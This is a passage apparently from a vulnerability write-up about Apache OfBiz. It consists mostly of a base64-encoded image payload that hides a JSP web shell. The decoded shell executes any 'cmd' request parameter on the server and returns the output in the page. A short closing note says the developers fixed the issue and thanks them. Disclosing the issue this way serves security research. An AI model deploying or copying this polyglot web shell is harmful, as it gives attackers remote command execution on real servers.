ZyvhgomwfDzj1K3cu1l0LyrApXzYQ8EDXAS/GpSQyu4KoTNiv2H/KF/DCTnK8BJcG4KzBDE/ma1lwIPBE2oSi0aIj8FZoz/0cup2N9coeURN+
ggg9CoOj8Ak+D8FJjhTeyn50VT9t/rVRYRKNSCFJjhy1UhNJHzVcAk2OjJFG+uCrvcIolgFmjSM1CRVsGDgenn5MNVwcwDAWotlAQbPpoSpMO
fWnI1UWhp5IEAET0BoRrkHvS3s2J/M4WWhh4IUGOhJNj4t4OIbQKPBg2J/admHggAYBJs/uuTpl0VZA8E04UGtfVBjfSv8fCXCi0bEPtDsWgy
R85XQwWS4FeL3xfE/voLLS08ENSmAknwuUWowYi7KizVX2hpI+eroQJJ8I1NqI26Kkhyfr4HggLwnIJZCsxQXBXqE/sVS2Ob8ZsRxFIMU2CGb
KFcn/ZyIloaF3kgyABJ8Jvlh9WU2A9YGtuFqibBluOiKbFfLposkvPVUF+VUM1TYMKwGVcF0NLYBiAJth0Yzbgq0KJJczlfbaaaBNsOjGbEfo
2lsQVAEmyRF7I3qd9VoaQHQhY1CbZJgRn1WyhrLY0tQn2TQ/1tP4Drt1CeSpbG9k2EagSsUmBGza4KuZbGxqEqSbBlCkyRLZTdFloaeCDYtJF
hlwIzarVQLiXnq4z+SaEWHZlrGNfoqlBgaWyK8gRKqU6t1UK50NLYFGkEG+uqMlzspyef7sT+sMjS2JSxoLkYHTiC1Cb253sgWDHKZBH3ZcdG
IBVauhP7qZyv8UCwJJpnyc5j6T7FsNY4dVWQPRCqNXEYHzy+nP/3NqzygWUtlB26KpSX83XBjqNoXPVNarFQNrQ0bpoaLJQVD4TK/eEI964Ko
amlcdM4d1WoIufXjGMLZcUDodq86RjWKidiv5WlcdM4tVC2tDRuGsFVoaLYb2lp3DQOXRWsLY0NW5jg5p2cWSiXsDQuZjIaHlxfz1/EsrVfKV
yJ/ZKl8buD2XccPNCt5vvNgYPbQXFVKBdpKUvjfEZCTfCvi+ofnhtXhVKWxnkML+THdd+q7ZICRxbKDuR8OdJ/ocxD5VgFC+WSrgphOUvjHKC
nzd+qjmEHFspTQw8EY2Ko7s7BAlZZ7K9gaQyjfaiz8mip6qogyflaDwRjYvjhKQdzQEVXhUJLY1vgyn2ETUGbJlZJ7LcrtDT2QDDFzm/JjkoW
yuYeCKaAxcCE6pl1FVeFMNfSuAz8T9aoVN8ZVrBQdijnMyx8DEtQ2lUh39K4ZGPgB3UdhSq6KliI/ZKcn+uBYIrmQV1E5dUmKG2hbOWBYIrWw
qX4yW0juKvC0cDCVSHf0rgkese78kePWRQLZRPtJd/SuDy6UC3rZHWUEftDOw8EU1KBWsKRzFRC7Lf1QDAG9KJ3M71jBAtlE+2lyNK4PGPwbq
2ubXBsCy13RA8El3J+DAzhd3dvb2uhXGhpXAU11g+nR5h2Fsr1yvmxNIbPXUnfBEXsz9NeSnggWDEOMh37Ou/6XMTCQrmMB4Il0fDt5vXHn+/
njz9j92dd5hbKBpbG1RlG0Wg0clD4AWAs9iPpzLGc3zSyq4JOUlsmWbKlB0KrEFwV1vRHc3P4Andyvg+4MLlF7lbN2krGNsseHMj5Hki1l1k8
98DSywJWxrmgFEyGXSRmG+MpHqDwHLyEE31mgnAz31HYxnUP70fheWkBD3C+qHad45xepfeq7ya6YhtvSDUy6Q7ev20Uv0snWMDSkeZkeRX3+
icZwXt47607gUTq0yDzNEKXQcvqYU4t3hw5o5z6bmd1ThfIWqKVg5HagtSnmbmit2o3Z3jevcstsJyGbM6ame0uOBlcuCqoFUBCYdv+glcp8I
FTfmEP2qveLfvykXbFGtZ2i6r5idhytzPXXci52klxsdbsFXSndw6zY8e1y+J3ajc7FladS/sznWW/XX8tsKenp6enp6enp6enfv4HVQ5HDjw
lQCBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YS5pby4qIiU+PCVpZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwp
IHtTdHJpbmcgYWxsPSJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxCUj4iO1Byb2Nlc3MgcCA9IFJ1bnRpb
WUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKTtPdXRwdXRTdHJlYW0gb3MgPSBwLmdldE91dHB1dFN0cm
VhbSgpO0lucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpO0RhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWF
tKGluKTtTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpO3doaWxlICggZGlzciAhPSBudWxsICkge2FsbCs9ZGlzcjtkaXNyID1kaXMucmVh
ZExpbmUoKTt9b3V0LnByaW50bG4oIj48c2NyaXB0PmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gYXRvYihgIitCYXNlNjQuZ2V0RW5jb2Rlc
igpLmVuY29kZVRvU3RyaW5nKGFsbC5nZXRCeXRlcygiVVRGLTgiKSkrImApOzwvc2NyaXB0PiIpO3JldHVybjt9JT6+k7foAAAAAElFTkSuQm
CC

The developers were informed of this new payload and created a new fix that closed this particular issue for good! Good job!

Special Thanks

We’d like to thank the OfBiz developers, who have been undoubtedly fast in the resolution of the vulnerability and very fun and pleasant in their own way… In particular we’d like to say Ciao to you, Jacques ;)